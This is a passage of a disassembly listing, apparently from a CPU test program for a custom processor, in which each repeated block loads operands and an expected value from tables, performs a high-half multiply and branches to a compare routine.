7770: 20 70 03 e2 movepc rret,8
7774: 14 30 e2 27 br 10 <compare>,#al
7778: 00 10 00 41 add r2,1
777c: 0d 41 25 08 wl16 r8,0x928
7780: 0d 60 01 03 wh16 r8,0x3
7784: 10 40 01 08 ld32 r8,r8
7788: 0d 43 46 04 wl16 r16,0x1a24
778c: 0d 60 02 03 wh16 r16,0x3
7790: 10 40 02 10 ld32 r16,r16
7794: 0d 45 65 20 wl16 r9,0x2b20
7798: 0d 60 01 23 wh16 r9,0x3
779c: 10 40 01 29 ld32 r9,r9
77a0: 00 60 01 10 mulh r8,r16
77a4: 20 70 03 e2 movepc rret,8
77a8: 14 30 e2 1a br 10 <compare>,#al
77ac: 00 10 00 41 add r2,1
77b0: 0d 41 25 0c wl16 r8,0x92c
77b4: 0d 60 01 03 wh16 r8,0x3
77b8: 10 40 01 08 ld32 r8,r8
77bc: 0d 43 46 08 wl16 r16,0x1a28
77c0: 0d 60 02 03 wh16 r16,0x3
77c4: 10 40 02 10 ld32 r16,r16
77c8: 0d 45 65 24 wl16 r9,0x2b24
77cc: 0d 60 01 23 wh16 r9,0x3
77d0: 10 40 01 29 ld32 r9,r9
77d4: 00 60 01 10 mulh r8,r16
77d8: 20 70 03 e2 movepc rret,8
77dc: 14 30 e2 0d br 10 <compare>,#al
77e0: 00 10 00 41 add r2,1
77e4: 0d 41 25 10 wl16 r8,0x930
77e8: 0d 60 01 03 wh16 r8,0x3
77ec: 10 40 01 08 ld32 r8,r8
77f0: 0d 43 46 0c wl16 r16,0x1a2c
77f4: 0d 60 02 03 wh16 r16,0x3
77f8: 10 40 02 10 ld32 r16,r16
77fc: 0d 45 65 28 wl16 r9,0x2b28
7800: 0d 60 01 23 wh16 r9,0x3
7804: 10 40 01 29 ld32 r9,r9
7808: 00 60 01 10 mulh r8,r16
780c: 20 70 03 e2 movepc rret,8
7810: 14 30 e2 00 br 10 <compare>,#al
7814: 00 10 00 41 add r2,1
7818: 0d 41 25 14 wl16 r8,0x934
781c: 0d 60 01 03 wh16 r8,0x3
7820: 10 40 01 08 ld32 r8,r8
7824: 0d 43 46 10 wl16 r16,0x1a30
7828: 0d 60 02 03 wh16 r16,0x3
782c: 10 40 02 10 ld32 r16,r16
7830: 0d 45 65 2c wl16 r9,0x2b2c
7834: 0d 60 01 23 wh16 r9,0x3
7838: 10 40 01 29 ld32 r9,r9
783c: 00 60 01 10 mulh r8,r16
7840: 20 70 03 e2 movepc rret,8
7844: 14 30 e1 f3 br 10 <compare>,#al
7848: 00 10 00 41 add r2,1
784c: 0d 41 25 18 wl16 r8,0x938
7850: 0d 60 01 03 wh16 r8,0x3
7854: 10 40 01 08 ld32 r8,r8
7858: 0d 43 46 14 wl16 r16,0x1a34
785c: 0d 60 02 03 wh16 r16,0x3
7860: 10 40 02 10 ld32 r16,r16
7864: 0d 45 65 30 wl16 r9,0x2b30
7868: 0d 60 01 23 wh16 r9,0x3
786c: 10 40 01 29 ld32 r9,r9
7870: 00 60 01 10 mulh r8,r16
7874: 20 70 03 e2 movepc rret,8
7878: 14 30 e1 e6 br 10 <compare>,#al
787c: 00 10 00 41 add r2,1
7880: 0d 41 25 1c wl16 r8,0x93c
7884: 0d 60 01 03 wh16 r8,0x3
7888: 10 40 01 08 ld32 r8,r8
788c: 0d 43 46 18 wl16 r16,0x1a38
7890: 0d 60 02 03 wh16 r16,0x3
7894: 10 40 02 10 ld32 r16,r16
7898: 0d 45 65 34 wl16 r9,0x2b34
789c: 0d 60 01 23 wh16 r9,0x3
78a0: 10 40 01 29 ld32 r9,r9
78a4: 00 60 01 10 mulh r8,r16
78a8: 20 70 03 e2 movepc rret,8
78ac: 14 30 e1 d9 br 10 <compare>,#al
78b0: 00 10 00 41 add r2,1
78b4: 0d 41 29 00 wl16 r8,0x940
78b8: 0d 60 01 03 wh16 r8,0x3
78bc: 10 40 01 08 ld32 r8,r8
78c0: 0d 43 46 1c wl16 r16,0x1a3c
78c4: 0d 60 02 03 wh16 r16,0x3
78c8: 10 40 02 10 ld32 r16,r16
78cc: 0d 45 65 38 wl16 r9,0x2b38
78d0: 0d 60 01 23 wh16 r9,0x3
78d4: 10 40 01 29 ld32 r9,r9
78d8: 00 60 01 10 mulh r8,r16
78dc: 20 70 03 e2 movepc rret,8
78e0: 14 30 e1 cc br 10 <compare>,#al
78e4: 00 10 00 41 add r2,1
78e8: 0d 41 29 04 wl16 r8,0x944
78ec: 0d 60 01 03 wh16 r8,0x3
78f0: 10 40 01 08 ld32 r8,r8
78f4: 0d 43 4a 00 wl16 r16,0x1a40
78f8: 0d 60 02 03 wh16 r16,0x3
78fc: 10 40 02 10 ld32 r16,r16
7900: 0d 45 65 3c wl16 r9,0x2b3c
7904: 0d 60 01 23 wh16 r9,0x3
7908: 10 40 01 29 ld32 r9,r9
790c: 00 60 01 10 mulh r8,r16
7910: 20 70 03 e2 movepc rret,8
7914: 14 30 e1 bf br 10 <compare>,#al
7918: 00 10 00 41 add r2,1
791c: 0d 41 29 08 wl16 r8,0x948
7920: 0d 60 01 03 wh16 r8,0x3
7924: 10 40 01 08 ld32 r8,r8
7928: 0d 43 4a 04 wl16 r16,0x1a44
792c: 0d 60 02 03 wh16 r16,0x3
7930: 10 40 02 10 ld32 r16,r16
7934: 0d 45 69 20 wl16 r9,0x2b40
7938: 0d 60 01 23 wh16 r9,0x3
793c: 10 40 01 29 ld32 r9,r9
7940: 00 60 01 10 mulh r8,r16
7944: 20 70 03 e2 movepc rret,8
7948: 14 30 e1 b2 br 10 <compare>,#al
794c: 00 10 00 41 add r2,1
7950: 0d 41 29 0c wl16 r8,0x94c
7954: 0d 60 01 03 wh16 r8,0x3
7958: 10 40 01 08 ld32 r8,r8
795c: 0d 43 4a 08 wl16 r16,0x1a48
7960: 0d 60 02 03 wh16 r16,0x3
7964: 10 40 02 10 ld32 r16,r16
7968: 0d 45 69 24 wl16 r9,0x2b44
796c: 0d 60 01 23 wh16 r9,0x3
7970: 10 40 01 29 ld32 r9,r9
7974: 00 60 01 10 mulh r8,r16
7978: 20 70 03 e2 movepc rret,8
797c: 14 30 e1 a5 br 10 <compare>,#al
7980: 00 10 00 41 add r2,1
7984: 0d 41 29 10 wl16 r8,0x950
7988: 0d 60 01 03 wh16 r8,0x3
798c: 10 40 01 08 ld32 r8,r8
7990: 0d 43 4a 0c wl16 r16,0x1a4c
7994: 0d 60 02 03 wh16 r16,0x3
7998: 10 40 02 10 ld32 r16,r16
799c: 0d 45 69 28 wl16 r9,0x2b48
79a0: 0d 60 01 23 wh16 r9,0x3
79a4: 10 40 01 29 ld32 r9,r9
79a8: 00 60 01 10 mulh r8,r16
79ac: 20 70 03 e2 movepc rret,8
79b0: 14 30 e1 98 br 10 <compare>,#al
79b4: 00 10 00 41 add r2,1
79b8: 0d 41 29 14 wl16 r8,0x954
79bc: 0d 60 01 03 wh16 r8,0x3
79c0: 10 40 01 08 ld32 r8,r8
79c4: 0d 43 4a 10 wl16 r16,0x1a50
79c8: 0d 60 02 03 wh16 r16,0x3
79cc: 10 40 02 10 ld32 r16,r16
79d0: 0d 45 69 2c wl16 r9,0x2b4c
79d4: 0d 60 01 23 wh16 r9,0x3
79d8: 10 40 01 29 ld32 r9,r9
79dc: 00 60 01 10 mulh r8,r16
79e0: 20 70 03 e2 movepc rret,8
79e4: 14 30 e1 8b br 10 <compare>,#al
79e8: 00 10 00 41 add r2,1
79ec: 0d 41 29 18 wl16 r8,0x958
79f0: 0d 60 01 03 wh16 r8,0x3
79f4: 10 40 01 08 ld32 r8,r8
79f8: 0d 43 4a 14 wl16 r16,0x1a54
79fc: 0d 60 02 03 wh16 r16,0x3
7a00: 10 40 02 10 ld32 r16,r16
7a04: 0d 45 69 30 wl16 r9,0x2b50
7a08: 0d 60 01 23 wh16 r9,0x3
7a0c: 10 40 01 29 ld32 r9,r9
7a10: 00 60 01 10 mulh r8,r16
7a14: 20 70 03 e2 movepc rret,8
7a18: 14 30 e1 7e br 10 <compare>,#al
7a1c: 00 10 00 41 add r2,1
7a20: 0d 41 29 1c wl16 r8,0x95c
7a24: 0d 60 01 03 wh16 r8,0x3
7a28: 10 40 01 08 ld32 r8,r8
7a2c: 0d 43 4a 18 wl16 r16,0x1a58
7a30: 0d 60 02 03 wh16 r16,0x3
7a34: 10 40 02 10 ld32 r16,r16
7a38: 0d 45 69 34 wl16 r9,0x2b54
7a3c: 0d 60 01 23 wh16 r9,0x3
7a40: 10 40 01 29 ld32 r9,r9
7a44: 00 60 01 10 mulh r8,r16
7a48: 20 70 03 e2 movepc rret,8
7a4c: 14 30 e1 71 br 10 <compare>,#al
7a50: 00 10 00 41 add r2,1
7a54: 0d 41 2d 00 wl16 r8,0x960
7a58: 0d 60 01 03 wh16 r8,0x3
7a5c: 10 40 01 08 ld32 r8,r8
7a60: 0d 43 4a 1c wl16 r16,0x1a5c
7a64: 0d 60 02 03 wh16 r16,0x3
7a68: 10 40 02 10 ld32 r16,r16
7a6c: 0d 45 69 38 wl16 r9,0x2b58
7a70: 0d 60 01 23 wh16 r9,0x3
7a74: 10 40 01 29 ld32 r9,r9
7a78: 00 60 01 10 mulh r8,r16
7a7c: 20 70 03 e2 movepc rret,8
7a80: 14 30 e1 64 br 10 <compare>,#al
7a84: 00 10 00 41 add r2,1
7a88: 0d 41 2d 04 wl16 r8,0x964
7a8c: 0d 60 01 03 wh16 r8,0x3
7a90: 10 40 01 08 ld32 r8,r8
7a94: 0d 43 4e 00 wl16 r16,0x1a60
7a98: 0d 60 02 03 wh16 r16,0x3
7a9c: 10 40 02 10 ld32 r16,r16
7aa0: 0d 45 69 3c wl16 r9,0x2b5c
7aa4: 0d 60 01 23 wh16 r9,0x3
7aa8: 10 40 01 29 ld32 r9,r9
7aac: 00 60 01 10 mulh r8,r16
7ab0: 20 70 03 e2 movepc rret,8
7ab4: 14 30 e1 57 br 10 <compare>,#al
7ab8: 00 10 00 41 add r2,1
7abc: 0d 41 2d 08 wl16 r8,0x968
7ac0: 0d 60 01 03 wh16 r8,0x3
7ac4: 10 40 01 08 ld32 r8,r8
7ac8: 0d 43 4e 04 wl16 r16,0x1a64
7acc: 0d 60 02 03 wh16 r16,0x3
7ad0: 10 40 02 10 ld32 r16,r16
7ad4: 0d 45 6d 20 wl16 r9,0x2b60
7ad8: 0d 60 01 23 wh16 r9,0x3
7adc: 10 40 01 29 ld32 r9,r9
7ae0: 00 60 01 10 mulh r8,r16
7ae4: 20 70 03 e2 movepc rret,8
7ae8: 14 30 e1 4a br 10 <compare>,#al
7aec: 00 10 00 41 add r2,1
7af0: 0d 41 2d 0c wl16 r8,0x96c
7af4: 0d 60 01 03 wh16 r8,0x3
7af8: 10 40 01 08 ld32 r8,r8
7afc: 0d 43 4e 08 wl16 r16,0x1a68
7b00: 0d 60 02 03 wh16 r16,0x3
7b04: 10 40 02 10 ld32 r16,r16
7b08: 0d 45 6d 24 wl16 r9,0x2b64
7b0c: 0d 60 01 23 wh16 r9,0x3
7b10: 10 40 01 29 ld32 r9,r9
7b14: 00 60 01 10 mulh r8,r16
7b18: 20 70 03 e2 movepc rret,8
7b1c: 14 30 e1 3d br 10 <compare>,#al
7b20: 00 10 00 41 add r2,1
7b24: 0d 41 2d 10 wl16 r8,0x970
7b28: 0d 60 01 03 wh16 r8,0x3
7b2c: 10 40 01 08 ld32 r8,r8
7b30: 0d 43 4e 0c wl16 r16,0x1a6c
7b34: 0d 60 02 03 wh16 r16,0x3
7b38: 10 40 02 10 ld32 r16,r16
7b3c: 0d 45 6d 28 wl16 r9,0x2b68
7b40: 0d 60 01 23 wh16 r9,0x3
7b44: 10 40 01 29 ld32 r9,r9
7b48: 00 60 01 10 mulh r8,r16
7b4c: 20 70 03 e2 movepc rret,8
7b50: 14 30 e1 30 br 10 <compare>,#al
7b54: 00 10 00 41 add r2,1
7b58: 0d 41 2d 14 wl16 r8,0x974
7b5c: 0d 60 01 03 wh16 r8,0x3
7b60: 10 40 01 08 ld32 r8,r8
7b64: 0d 43 4e 10 wl16 r16,0x1a70
7b68: 0d 60 02 03 wh16 r16,0x3
7b6c: 10 40 02 10 ld32 r16,r16
7b70: 0d 45 6d 2c wl16 r9,0x2b6c
7b74: 0d 60 01 23 wh16 r9,0x3
7b78: 10 40 01 29 ld32 r9,r9
7b7c: 00 60 01 10 mulh r8,r16
7b80: 20 70 03 e2 movepc rret,8
7b84: 14 30 e1 23 br 10 <compare>,#al
7b88: 00 10 00 41 add r2,1
7b8c: 0d 41 2d 18 wl16 r8,0x978
7b90: 0d 60 01 03 wh16 r8,0x3
7b94: 10 40 01 08 ld32 r8,r8
7b98: 0d 43 4e 14 wl16 r16,0x1a74
7b9c: 0d 60 02 03 wh16 r16,0x3
7ba0: 10 40 02 10 ld32 r16,r16
7ba4: 0d 45 6d 30 wl16 r9,0x2b70
7ba8: 0d 60 01 23 wh16 r9,0x3
7bac: 10 40 01 29 ld32 r9,r9
7bb0: 00 60 01 10 mulh r8,r16
7bb4: 20 70 03 e2 movepc rret,8
7bb8: 14 30 e1 16 br 10 <compare>,#al
7bbc: 00 10 00 41 add r2,1
7bc0: 0d 41 2d 1c wl16 r8,0x97c
7bc4: 0d 60 01 03 wh16 r8,0x3
7bc8: 10 40 01 08 ld32 r8,r8
7bcc: 0d 43 4e 18 wl16 r16,0x1a78
7bd0: 0d 60 02 03 wh16 r16,0x3
7bd4: 10 40 02 10 ld32 r16,r16
7bd8: 0d 45 6d 34 wl16 r9,0x2b74
7bdc: 0d 60 01 23 wh16 r9,0x3
7be0: 10 40 01 29 ld32 r9,r9
7be4: 00 60 01 10 mulh r8,r16
7be8: 20 70 03 e2 movepc rret,8
7bec: 14 30 e1 09 br 10 <compare>,#al
7bf0: 00 10 00 41 add r2,1
7bf4: 0d 41 31 00 wl16 r8,0x980
7bf8: 0d 60 01 03 wh16 r8,0x3
7bfc: 10 40 01 08 ld32 r8,r8
7c00: 0d 43 4e 1c wl16 r16,0x1a7c
7c04: 0d 60 02 03 wh16 r16,0x3
7c08: 10 40 02 10 ld32 r16,r16
7c0c: 0d 45 6d 38 wl16 r9,0x2b78
7c10: 0d 60 01 23 wh16 r9,0x3
7c14: 10 40 01 29 ld32 r9,r9
7c18: 00 60 01 10 mulh r8,r16
7c1c: 20 70 03 e2 movepc rret,8
7c20: 14 30 e0 fc br 10 <compare>,#al
7c24: 00 10 00 41 add r2,1
7c28: 0d 41 31 04 wl16 r8,0x984
7c2c: 0d 60 01 03 wh16 r8,0x3
7c30: 10 40 01 08 ld32 r8,r8
7c34: 0d 43 52 00 wl16 r16,0x1a80
7c38: 0d 60 02 03 wh16 r16,0x3
7c3c: 10 40 02 10 ld32 r16,r16
7c40: 0d 45 6d 3c wl16 r9,0x2b7c
7c44: 0d 60 01 23 wh16 r9,0x3
7c48: 10 40 01 29 ld32 r9,r9
7c4c: 00 60 01 10 mulh r8,r16
7c50: 20 70 03 e2 movepc rret,8
7c54: 14 30 e0 ef br 10 <compare>,#al
7c58: 00 10 00 41 add r2,1
7c5c: 0d 41 31 08 wl16 r8,0x988
7c60: 0d 60 01 03 wh16 r8,0x3
7c64: 10 40 01 08 ld32 r8,r8
7c68: 0d 43 52 04 wl16 r16,0x1a84
7c6c: 0d 60 02 03 wh16 r16,0x3
7c70: 10 40 02 10 ld32 r16,r16
7c74: 0d 45 71 20 wl16 r9,0x2b80
7c78: 0d 60 01 23 wh16 r9,0x3
7c7c: 10 40 01 29 ld32 r9,r9
7c80: 00 60 01 10 mulh r8,r16
7c84: 20 70 03 e2 movepc rret,8
7c88: 14 30 e0 e2 br 10 <compare>,#al
7c8c: 00 10 00 41 add r2,1
7c90: 0d 41 31 0c wl16 r8,0x98c
7c94: 0d 60 01 03 wh16 r8,0x3
7c98: 10 40 01 08 ld32 r8,r8
7c9c: 0d 43 52 08 wl16 r16,0x1a88
7ca0: 0d 60 02 03 wh16 r16,0x3
7ca4: 10 40 02 10 ld32 r16,r16
7ca8: 0d 45 71 24 wl16 r9,0x2b84
7cac: 0d 60 01 23 wh16 r9,0x3
7cb0: 10 40 01 29 ld32 r9,r9
7cb4: 00 60 01 10 mulh r8,r16
7cb8: 20 70 03 e2 movepc rret,8
7cbc: 14 30 e0 d5 br 10 <compare>,#al
7cc0: 00 10 00 41 add r2,1
7cc4: 0d 41 31 10 wl16 r8,0x990
7cc8: 0d 60 01 03 wh16 r8,0x3
7ccc: 10 40 01 08 ld32 r8,r8
7cd0: 0d 43 52 0c wl16 r16,0x1a8c
7cd4: 0d 60 02 03 wh16 r16,0x3
7cd8: 10 40 02 10 ld32 r16,r16
7cdc: 0d 45 71 28 wl16 r9,0x2b88
7ce0: 0d 60 01 23 wh16 r9,0x3
7ce4: 10 40 01 29 ld32 r9,r9
7ce8: 00 60 01 10 mulh r8,r16
7cec: 20 70 03 e2 movepc rret,8
7cf0: 14 30 e0 c8 br 10 <compare>,#al
7cf4: 00 10 00 41 add r2,1
7cf8: 0d 41 31 14 wl16 r8,0x994
7cfc: 0d 60 01 03 wh16 r8,0x3
7d00: 10 40 01 08 ld32 r8,r8
7d04: 0d 43 52 10 wl16 r16,0x1a90
7d08: 0d 60 02 03 wh16 r16,0x3
7d0c: 10 40 02 10 ld32 r16,r16
7d10: 0d 45 71 2c wl16 r9,0x2b8c
7d14: 0d 60 01 23 wh16 r9,0x3
7d18: 10 40 01 29 ld32 r9,r9
7d1c: 00 60 01 10 mulh r8,r16
7d20: 20 70 03 e2 movepc rret,8
7d24: 14 30 e0 bb br 10 <compare>,#al
7d28: 00 10 00 41 add r2,1
7d2c: 0d 41 31 18 wl16 r8,0x998
7d30: 0d 60 01 03 wh16 r8,0x3
7d34: 10 40 01 08 ld32 r8,r8
7d38: 0d 43 52 14 wl16 r16,0x1a94
7d3c: 0d 60 02 03 wh16 r16,0x3
7d40: 10 40 02 10 ld32 r16,r16
7d44: 0d 45 71 30 wl16 r9,0x2b90
7d48: 0d 60 01 23 wh16 r9,0x3
7d4c: 10 40 01 29 ld32 r9,r9
7d50: 00 60 01 10 mulh r8,r16
7d54: 20 70 03 e2 movepc rret,8
7d58: 14 30 e0 ae br 10 <compare>,#al
7d5c: 00 10 00 41 add r2,1
7d60: 0d 41 31 1c wl16 r8,0x99c
7d64: 0d 60 01 03 wh16 r8,0x3
7d68: 10 40 01 08 ld32 r8,r8
7d6c: 0d 43 52 18 wl16 r16,0x1a98
7d70: 0d 60 02 03 wh16 r16,0x3
7d74: 10 40 02 10 ld32 r16,r16
7d78: 0d 45 71 34 wl16 r9,0x2b94
7d7c: 0d 60 01 23 wh16 r9,0x3
7d80: 10 40 01 29 ld32 r9,r9
7d84: 00 60 01 10 mulh r8,r16
7d88: 20 70 03 e2 movepc rret,8
7d8c: 14 30 e0 a1 br 10 <compare>,#al
7d90: 00 10 00 41 add r2,1
7d94: 0d 41 35 00 wl16 r8,0x9a0
7d98: 0d 60 01 03 wh16 r8,0x3
7d9c: 10 40 01 08 ld32 r8,r8
7da0: 0d 43 52 1c wl16 r16,0x1a9c
7da4: 0d 60 02 03 wh16 r16,0x3
7da8: 10 40 02 10 ld32 r16,r16
7dac: 0d 45 71 38 wl16 r9,0x2b98
7db0: 0d 60 01 23 wh16 r9,0x3
7db4: 10 40 01 29 ld32 r9,r9
7db8: 00 60 01 10 mulh r8,r16
7dbc: 20 70 03 e2 movepc rret,8
7dc0: 14 30 e0 94 br 10 <compare>,#al
7dc4: 00 10 00 41 add r2,1
7dc8: 0d 41 35 04 wl16 r8,0x9a4
7dcc: 0d 60 01 03 wh16 r8,0x3
7dd0: 10 40 01 08 ld32 r8,r8
7dd4: 0d 43 56 00 wl16 r16,0x1aa0
7dd8: 0d 60 02 03 wh16 r16,0x3
7ddc: 10 40 02 10 ld32 r16,r16
7de0: 0d 45 71 3c wl16 r9,0x2b9c
7de4: 0d 60 01 23 wh16 r9,0x3
7de8: 10 40 01 29 ld32 r9,r9
7dec: 00 60 01 10 mulh r8,r16
7df0: 20 70 03 e2 movepc rret,8
7df4: 14 30 e0 87 br 10 <compare>,#al
7df8: 00 10 00 41 add r2,1
7dfc: 0d 41 35 08 wl16 r8,0x9a8
7e00: 0d 60 01 03 wh16 r8,0x3
7e04: 10 40 01 08 ld32 r8,r8
7e08: 0d 43 56 04 wl16 r16,0x1aa4
7e0c: 0d 60 02 03 wh16 r16,0x3
7e10: 10 40 02 10 ld32 r16,r16
7e14: 0d 45 75 20 wl16 r9,0x2ba0
7e18: 0d 60 01 23 wh16 r9,0x3
7e1c: 10 40 01 29 ld32 r9,r9
7e20: 00 60 01 10 mulh r8,r16
7e24: 20 70 03 e2 movepc rret,8
7e28: 14 30 e0 7a br 10 <compare>,#al
7e2c: 00 10 00 41 add r2,1
7e30: 0d 41 35 0c wl16 r8,0x9ac
7e34: 0d 60 01 03 wh16 r8,0x3
7e38: 10 40 01 08 ld32 r8,r8
7e3c: 0d 43 56 08 wl16 r16,0x1aa8
7e40: 0d 60 02 03 wh16 r16,0x3
7e44: 10 40 02 10 ld32 r16,r16
7e48: 0d 45 75 24 wl16 r9,0x2ba4
7e4c: 0d 60 01 23 wh16 r9,0x3
7e50: 10 40 01 29 ld32 r9,r9
7e54: 00 60 01 10 mulh r8,r16
7e58: 20 70 03 e2 movepc rret,8
7e5c: 14 30 e0 6d br 10 <compare>,#al
7e60: 00 10 00 41 add r2,1
7e64: 0d 41 35 10 wl16 r8,0x9b0
7e68: 0d 60 01 03 wh16 r8,0x3
7e6c: 10 40 01 08 ld32 r8,r8
7e70: 0d 43 56 0c wl16 r16,0x1aac
7e74: 0d 60 02 03 wh16 r16,0x3
7e78: 10 40 02 10 ld32 r16,r16
7e7c: 0d 45 75 28 wl16 r9,0x2ba8
7e80: 0d 60 01 23 wh16 r9,0x3
7e84: 10 40 01 29 ld32 r9,r9
7e88: 00 60 01 10 mulh r8,r16
7e8c: 20 70 03 e2 movepc rret,8
7e90: 14 30 e0 60 br 10 <compare>,#al
7e94: 00 10 00 41 add r2,1
7e98: 0d 41 35 14 wl16 r8,0x9b4
7e9c: 0d 60 01 03 wh16 r8,0x3
7ea0: 10 40 01 08 ld32 r8,r8
7ea4: 0d 43 56 10 wl16 r16,0x1ab0
7ea8: 0d 60 02 03 wh16 r16,0x3
7eac: 10 40 02 10 ld32 r16,r16
7eb0: 0d 45 75 2c wl16 r9,0x2bac
7eb4: 0d 60 01 23 wh16 r9,0x3
7eb8: 10 40 01 29 ld32 r9,r9
7ebc: 00 60 01 10 mulh r8,r16
7ec0: 20 70 03 e2 movepc rret,8
7ec4: 14 30 e0 53 br 10 <compare>,#al
7ec8: 00 10 00 41 add r2,1
7ecc: 0d 41 35 18 wl16 r8,0x9b8
7ed0: 0d 60 01 03 wh16 r8,0x3
7ed4: 10 40 01 08 ld32 r8,r8
7ed8: 0d 43 56 14 wl16 r16,0x1ab4
7edc: 0d 60 02 03 wh16 r16,0x3
7ee0: 10 40 02 10 ld32 r16,r16
7ee4: 0d 45 75 30 wl16 r9,0x2bb0
7ee8: 0d 60 01 23 wh16 r9,0x3
7eec: 10 40 01 29 ld32 r9,r9
7ef0: 00 60 01 10 mulh r8,r16
7ef4: 20 70 03 e2 movepc rret,8
7ef8: 14 30 e0 46 br 10 <compare>,#al
7efc: 00 10 00 41 add r2,1
7f00: 0d 41 35 1c wl16 r8,0x9bc
7f04: 0d 60 01 03 wh16 r8,0x3
7f08: 10 40 01 08 ld32 r8,r8
7f0c: 0d 43 56 18 wl16 r16,0x1ab8
7f10: 0d 60 02 03 wh16 r16,0x3
7f14: 10 40 02 10 ld32 r16,r16
7f18: 0d 45 75 34 wl16 r9,0x2bb4
7f1c: 0d 60 01 23 wh16 r9,0x3
7f20: 10 40 01 29 ld32 r9,r9
7f24: 00 60 01 10 mulh r8,r16
7f28: 20 70 03 e2 movepc rret,8
7f2c: 14 30 e0 39 br 10 <compare>,#al
7f30: 00 10 00 41 add r2,1
7f34: 0d 41 39 00 wl16 r8,0x9c0
7f38: 0d 60 01 03 wh16 r8,0x3
7f3c: 10 40 01 08 ld32 r8,r8
7f40: 0d 43 56 1c wl16 r16,0x1abc
7f44: 0d 60 02 03 wh16 r16,0x3
7f48: 10 40 02 10 ld32 r16,r16
7f4c: 0d 45 75 38 wl16 r9,0x2bb8
7f50: 0d 60 01 23 wh16 r9,0x3
7f54: 10 40 01 29 ld32 r9,r9
7f58: 00 60 01 10 mulh r8,r16
7f5c: 20 70 03 e2 movepc rret,8
7f60: 14 30 e0 2c br 10 <compare>,#al
7f64: 00 10 00 41 add r2,1
7f68: 0d 41 39 04 wl16 r8,0x9c4
7f6c: 0d 60 01 03 wh16 r8,0x3
7f70: 10 40 01 08 ld32 r8,r8
7f74: 0d 43 5a 00 wl16 r16,0x1ac0
7f78: 0d 60 02 03 wh16 r16,0x3
7f7c: 10 40 02 10 ld32 r16,r16
7f80: 0d 45 75 3c wl16 r9,0x2bbc
7f84: 0d 60 01 23 wh16 r9,0x3
7f88: 10 40 01 29 ld32 r9,r9
7f8c: 00 60 01 10 mulh r8,r16
7f90: 20 70 03 e2 movepc rret,8
7f94: 14 30 e0 1f br 10 <compare>,#al
7f98: 00 10 00 41 add r2,1
7f9c: 0d 41 39 08 wl16 r8,0x9c8
7fa0: 0d 60 01 03 wh16 r8,0x3
7fa4: 10 40 01 08 ld32 r8,r8
7fa8: 0d 43 5a 04 wl16 r16,0x1ac4
7fac: 0d 60 02 03 wh16 r16,0x3
7fb0: 10 40 02 10 ld32 r16,r16
7fb4: 0d 45 79 20 wl16 r9,0x2bc0
7fb8: 0d 60 01 23 wh16 r9,0x3
7fbc: 10 40 01 29 ld32 r9,r9
7fc0: 00 60 01 10 mulh r8,r16
7fc4: 20 70 03 e2 movepc rret,8
7fc8: 14 30 e0 12 br 10 <compare>,#al
7fcc: 00 10 00 41 add r2,1
7fd0: 0d 41 39 0c wl16 r8,0x9cc
7fd4: 0d 60 01 03 wh16 r8,0x3
7fd8: 10 40 01 08 ld32 r8,r8
7fdc: 0d 43 5a 08 wl16 r16,0x1ac8
7fe0: 0d 60 02 03 wh16 r16,0x3
7fe4: 10 40 02 10 ld32 r16,r16
7fe8: 0d 45 79 24 wl16 r9,0x2bc4
7fec: 0d 60 01 23 wh16 r9,0x3
7ff0: 10 40 01 29 ld32 r9,r9
7ff4: 00 60 01 10 mulh r8,r16
7ff8: 20 70 03 e2 movepc rret,8
7ffc: 14 30 e0 05 br 10 <compare>,#al
8000: 00 10 00 41 add r2,1
8004: 0d 41 39 10 wl16 r8,0x9d0
8008: 0d 60 01 03 wh16 r8,0x3
800c: 10 40 01 08 ld32 r8,r8
8010: 0d 43 5a 0c wl16 r16,0x1acc
8014: 0d 60 02 03 wh16 r16,0x3
8018: 10 40 02 10 ld32 r16,r16
801c: 0d 45 79 28 wl16 r9,0x2bc8
8020: 0d 60 01 23 wh16 r9,0x3
8024: 10 40 01 29 ld32 r9,r9
8028: 00 60 01 10 mulh r8,r16
802c: 20 70 03 e2 movepc rret,8
8030: 14 30 df f8 br 10 <compare>,#al
8034: 00 10 00 41 add r2,1
8038: 0d 41 39 14 wl16 r8,0x9d4
803c: 0d 60 01 03 wh16 r8,0x3
8040: 10 40 01 08 ld32 r8,r8
8044: 0d 43 5a 10 wl16 r16,0x1ad0
8048: 0d 60 02 03 wh16 r16,0x3
804c: 10 40 02 10 ld32 r16,r16
8050: 0d 45 79 2c wl16 r9,0x2bcc
8054: 0d 60 01 23 wh16 r9,0x3
8058: 10 40 01 29 ld32 r9,r9
805c: 00 60 01 10 mulh r8,r16
8060: 20 70 03 e2 movepc rret,8
8064: 14 30 df eb br 10 <compare>,#al
8068: 00 10 00 41 add r2,1
806c: 0d 41 39 18 wl16 r8,0x9d8
8070: 0d 60 01 03 wh16 r8,0x3
8074: 10 40 01 08 ld32 r8,r8
8078: 0d 43 5a 14 wl16 r16,0x1ad4
807c: 0d 60 02 03 wh16 r16,0x3
8080: 10 40 02 10 ld32 r16,r16
8084: 0d 45 79 30 wl16 r9,0x2bd0
8088: 0d 60 01 23 wh16 r9,0x3
808c: 10 40 01 29 ld32 r9,r9
8090: 00 60 01 10 mulh r8,r16
8094: 20 70 03 e2 movepc rret,8
8098: 14 30 df de br 10 <compare>,#al
809c: 00 10 00 41 add r2,1
80a0: 0d 41 39 1c wl16 r8,0x9dc
80a4: 0d 60 01 03 wh16 r8,0x3
80a8: 10 40 01 08 ld32 r8,r8
80ac: 0d 43 5a 18 wl16 r16,0x1ad8
80b0: 0d 60 02 03 wh16 r16,0x3
80b4: 10 40 02 10 ld32 r16,r16
80b8: 0d 45 79 34 wl16 r9,0x2bd4
80bc: 0d 60 01 23 wh16 r9,0x3
80c0: 10 40 01 29 ld32 r9,r9
80c4: 00 60 01 10 mulh r8,r16
80c8: 20 70 03 e2 movepc rret,8
80cc: 14 30 df d1 br 10 <compare>,#al
80d0: 00 10 00 41 add r2,1
80d4: 0d 41 3d 00 wl16 r8,0x9e0
80d8: 0d 60 01 03 wh16 r8,0x3
80dc: 10 40 01 08 ld32 r8,r8
80e0: 0d 43 5a 1c wl16 r16,0x1adc
80e4: 0d 60 02 03 wh16 r16,0x3
80e8: 10 40 02 10 ld32 r16,r16
80ec: 0d 45 79 38 wl16 r9,0x2bd8
80f0: 0d 60 01 23 wh16 r9,0x3
80f4: 10 40 01 29 ld32 r9,r9
80f8: 00 60 01 10 mulh r8,r16
80fc: 20 70 03 e2 movepc rret,8
8100: 14 30 df c4 br 10 <compare>,#al
8104: 00 10 00 41 add r2,1
8108: 0d 41 3d 04 wl16 r8,0x9e4
810c: 0d 60 01 03 wh16 r8,0x3
8110: 10 40 01 08 ld32 r8,r8
8114: 0d 43 5e 00 wl16 r16,0x1ae0
